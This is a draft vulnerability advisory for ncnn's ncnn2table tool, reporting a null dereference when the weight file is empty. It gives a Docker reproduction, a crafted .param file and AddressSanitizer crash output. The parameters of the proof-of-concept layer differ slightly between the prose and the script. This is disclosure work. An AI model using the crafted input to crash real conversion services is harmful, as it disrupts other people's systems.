All advisories
Draft

Null Dereference in ncnn2table Weight Quantization

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Null Dereference in ncnn2table Weight Quantization

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:506 in QuantNet::initialize_static_weight_scales()
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5aca36431bbe bp 0x7ffe9b260040 sp 0x7ffe9b25f6c0 T0)

Summary

ncnn2table ignores the return value of net.load_model(), so a model whose weight file is empty or truncated leaves layers half-initialised and the tool keeps running. With a MultiHeadAttention layer whose weight load fails, q_weight_data stays default-constructed, and initialize_static_weight_scales() walks it with pointer arithmetic derived from the .param file, reading address 0x0. An attacker who can get a calibration or conversion worker to run ncnn2table model.param truncated.bin out.table terminates that process before any table is produced.

Detail

The untrusted inputs are the .param layer definition and the contents of argv[2], the weight file. main calls the loader and discards the result:

// tools/quantize/ncnn2table.cpp:2107
    net.load_param(inparam);
    net.load_model(inbin);

ncnn::Net::load_model does detect the failure — it logs layer load_model 3 mha failed and breaks out of its loop with ret = -1 (src/net.cpp:2080-2090) — but because the caller drops that value, QuantNet proceeds with a layer object whose weight Mats are still empty. quantize_KL() then calls initialize_static_weight_scales(), which recomputes the weight geometry from the parameter file rather than from the buffer it is about to read:

// tools/quantize/ncnn2table.cpp:497
        const int qdim = mha->weight_data_size / mha->embed_dim;
        mha_stats[i].q_weight_scales.create(mha->embed_dim);
        for (int j = 0; j < mha->embed_dim; j++)
        {
            float q_absmax = 0.f;

            const float* q_ptr = (const float*)mha->q_weight_data + j * qdim;
            for (int k = 0; k < qdim; k++)
            {
                q_absmax = std::max(q_absmax, (float)fabs(q_ptr[k]));
            }
            mha_stats[i].q_weight_scales[j] = q_absmax == 0.f ? 1.f : 127 / q_absmax;
        }

The PoC layer is MultiHeadAttention mha 3 1 q k v out 0=4 1=1 2=16 3=2 4=2, so embed_dim is 4 and weight_data_size is 16, giving qdim = 4. truncated.bin is zero bytes, so mb.load(embed_dim * qdim, 0) fails at the tag read ("ModelBin read flag_struct failed 0") and q_weight_data is left with data == 0. The conversion (const float*)mha->q_weight_data yields a null pointer, j * qdim offsets it by 0, 16, 32 and 48 bytes, and the first q_ptr[k] read at line 506 faults on the zero page. The bound qdim comes entirely from attacker-chosen .param values, so the read offset is attacker-influenced as well.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-null-dereference-in-ncnn2table-weight-quantization && cd ncnn-poc-null-dereference-in-ncnn2table-weight-quantization

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > model.param <<'EOF'
7767517
2 2
Input q 0 1 q
MultiHeadAttention mha 1 1 q out 0=1 2=1
EOF

cat > truncated.bin <<'EOF'
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table model.param truncated.bin out.table

AddressSanitizer output:

ModelBin read flag_struct failed 0
layer load_model 1 mha failed
mean = 
norm = 
shape = 
pixel = 
thread = 24
method = kl
---------------------------------------
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5d932e89cbbe bp 0x7fff5e5614e0 sp 0x7fff5e560b60 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5d932e89cbbe in QuantNet::initialize_static_weight_scales() /ncnn/tools/quantize/ncnn2table.cpp:506
    #1 0x5d932e8a89c9 in QuantNet::quantize_KL() /ncnn/tools/quantize/ncnn2table.cpp:786
    #2 0x5d932e8d76b0 in main /ncnn/tools/quantize/ncnn2table.cpp:2229
    #3 0x711389faa1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x711389faa28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x5d932e88fbe4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/quantize/ncnn2table.cpp:506 in QuantNet::initialize_static_weight_scales()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst